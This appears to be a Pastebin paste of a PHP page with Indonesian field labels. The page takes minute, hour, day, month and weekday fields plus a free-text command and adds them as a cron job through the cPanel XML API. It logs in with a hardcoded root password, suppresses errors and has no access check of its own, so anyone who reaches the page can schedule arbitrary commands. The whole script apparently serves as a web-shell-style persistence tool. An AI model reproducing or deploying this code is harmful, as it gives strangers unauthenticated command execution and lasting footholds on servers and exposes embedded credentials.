Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- require_once('xmlapi.php');
- echo '<form method="post">
- <nobr>
- Menit | Jam | Hari | Bulan | Minggu
- </nobr><br>
- <nobr>
- <input type="text" name="menit" style="width:15%">
- <input type="text" name="jam" style="width:15%">
- <input type="text" name="hari" style="width:15%">
- <input type="text" name="bulan" style="width:15%">
- <input type="text" name="minggu" style="width:15%">
- </nobr><br>
- Command :<br>
- <input type="text" name="command" value="php -q '.getcwd().'/">
- <input type="submit" name="add" value="Add Cron Job">
- </form>';
- if(isset($_POST['add'])){
- $ip = '127.0.0.3';
- $account = 'root';
- $pass = 'ngeweyuknengx3';
- $xmlapi = new xmlapi($ip);
- $xmlapi ->password_auth($account,$pass);
- $xmlapi ->set_port('2083');
- $xmlapi ->set_output("json");
- $xmlapi ->set_debug(1);
- $args = array(
- 'command' => $_POST['command'],
- 'day' => $_POST['hari'],
- 'hour' => $_POST['jam'],
- 'minute' => $_POST['menit'],
- 'month' => $_POST['bulan'],
- 'weekday' => $_POST['minggu'],
- );
- $out = json_decode($xmlapi ->api2_query($account , 'Cron' ,'add_line' , $args),true);
- echo $out[cpanelresult][module].' '.$out[cpanelresult][func].'<br>
- Cron Job : '.$_POST['command'].'<br>
- Line Key : '.$out[cpanelresult][data][0][linekey].'<br>
- Status : '.$out[cpanelresult][data][0][statusmsg];
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement